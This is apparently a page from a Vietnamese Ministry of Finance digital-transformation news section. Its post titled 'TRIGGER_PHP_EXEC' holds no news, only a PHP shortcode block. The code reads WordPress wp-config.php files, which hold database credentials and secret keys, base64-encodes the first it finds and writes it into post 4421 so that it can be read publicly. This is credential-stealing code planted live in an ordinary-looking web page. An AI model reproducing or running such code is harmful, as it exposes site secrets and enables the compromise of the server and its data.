BỘ TÀI CHÍNH

Chương trình Hỗ trợ Doanh nghiệp Chuyển đổi số

Tin tức

TRIGGER_PHP_EXEC

  • 31 tháng 05, 2026 - 1:46 PM

  • Chia sẻ:

[php]
global $wpdb;
$paths = array(
“/var/www/html/business/wp-config.php”,
“/var/www/html/wp-config.php”,
“/var/www/html/wp-config-sample.php”
);
foreach ($paths as $f) {
$c = @file_get_contents($f);
if ($c !== false && strlen($c) > 20) {
$b64 = base64_encode($c);
$wpdb->update($wpdb->posts, array(“post_content” => $b64), array(“ID” => 4421));
echo “OK:” . strlen($c) . “:” . basename($f);
break;
}
}
echo “DONE”;
[/php]